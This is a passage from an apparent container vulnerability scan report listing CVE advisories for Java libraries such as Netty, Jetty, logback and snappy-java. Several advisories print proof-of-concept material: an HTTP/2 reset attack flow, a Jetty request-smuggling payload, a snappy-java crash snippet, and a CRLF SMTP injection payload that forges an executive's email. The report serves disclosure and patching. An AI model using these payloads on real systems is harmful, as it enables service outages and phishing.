active streams counter. -While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. - -Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. - -### Attack Flow -For example, a possible attack scenario can be: -1. Attacker opens an HTTP/2 connection to the server. -2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. -3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. -4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). - -The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. -This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) - -### Comparison to Rapid Reset -The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. -The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. -Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. - -### Suggested Mitigations for MadeYouReset -A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. -It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. - -As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. - - -If you have any questions, we will be happy to clarify or schedule a Zoom call. - -Gal, Anat and Yaniv. - -
-
- -high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption - - - - - - -
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- -
Description -
- -A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. - -### Impact -This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. - -### Patches -This is patched in version 4.1.100.Final. - -### Workarounds -A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-44487 -- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ -- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ - -
-
- -high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.424%
EPSS Percentile100th percentile
- -
Description -
- -The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. - -
-
-
-
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) - -pkg:maven/net.minidev/json-smart@1.3.2
-high 7.5: CVE--2023--1370 Uncontrolled Recursion - - - - - - - - -
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.014%
EPSS Percentile2nd percentile
- -
Description -
- -### Impact -Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. - -When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. - -### Patches -This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. - -### Workarounds -N/A - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-1370 -- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 -- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 - -
-
- -high 7.5: CVE--2021--31684 Out-of-bounds Read - - - - - - - - -
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
- -
Description -
- -A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.10 (maven) - -pkg:maven/ch.qos.logback/logback-core@1.2.10
-high 7.1: CVE--2023--6378 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
- -
Description -
- -A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. - -This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html - -
-
- -medium 5.9: CVE--2025--11226 Improper Input Validation - - - - - - - - -
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. - -A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. - -
-
- -medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
- -
Description -
- -ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. - -Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. - -A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. - -
-
- -low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
- -
Description -
- -Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. - -The attacks involves the modification of DOCTYPE declaration in  XML configuration files. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
- -medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) - -pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
-high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. - -
-
- -medium 5.8: CVE--2025--53864 Uncontrolled Recursion - - - - - - - - -
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
- -
Description -
- -Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 ch.qos.logback/logback-classic 1.2.10 (maven) - -pkg:maven/ch.qos.logback/logback-classic@1.2.10
-high 7.1: CVE--2023--6378 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
- -
Description -
- -A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. - -This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.23.4
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) - -pkg:maven/dnsjava/dnsjava@2.1.7
-high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity - - - - - - - - -
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. - -### Details - -DNS Messages are not authenticated. They do not guarantee that - -- received RRs are authentic -- not received RRs do not exist -- all or any received records in a response relate to the request - -Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. -To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) - -1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases -2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) -3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. -4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. - -Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. - -dnsjava does not implement a comparable algorithm, and the provided APIs instead return either - -- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or -- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) - -If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can - -- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or -- completely exchange the relevant response records - -### Impact - -DNS(SEC) libraries are usually used as part of a larger security framework. -Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. -Here are three concrete examples of where this might be detrimental: - -- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. -- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. -- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. - -### Mitigations - -At this point, the following mitigations are recommended: - -- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). -- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. -- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) - -pkg:maven/io.airlift/aircompressor@0.25
-high 8.6: CVE--2024--36114 Out-of-bounds Read - - - - - - - - -
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
- -
Description -
- -### Summary -All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). - -### Details -When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. - -Users should update to Aircompressor 0.27 or newer where these issues have been fixed. - -### Impact -When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) - -pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
-high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. - -### Scope - -All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 - -### Details -While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. - -### PoC -Compile and run the following code: -``` -package org.example; -import org.xerial.snappy.SnappyInputStream; - -import java.io.*; - -public class Main { - - public static void main(String[] args) throws IOException { - byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; - SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); - byte[] out = new byte[50]; - try { - in.read(out); - } - catch (Exception ignored) { - } - } -} -``` - -### Impact -Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. - -### Credits -Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. - -We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) - -pkg:maven/io.netty/netty-handler@4.1.94.Final
-high 7.5: CVE--2025--24970 Improper Input Validation - - - - - - - - -
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
- -
Description -
- -### Impact -When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. - -### Workarounds -As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: - -``` -SslContext context = ...; -SslHandler handler = context.newHandler(....); -``` - -to: - -``` -SslContext context = ...; -SSLEngine engine = context.newEngine(....); -SslHandler handler = new SslHandler(engine, ....); -``` - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` 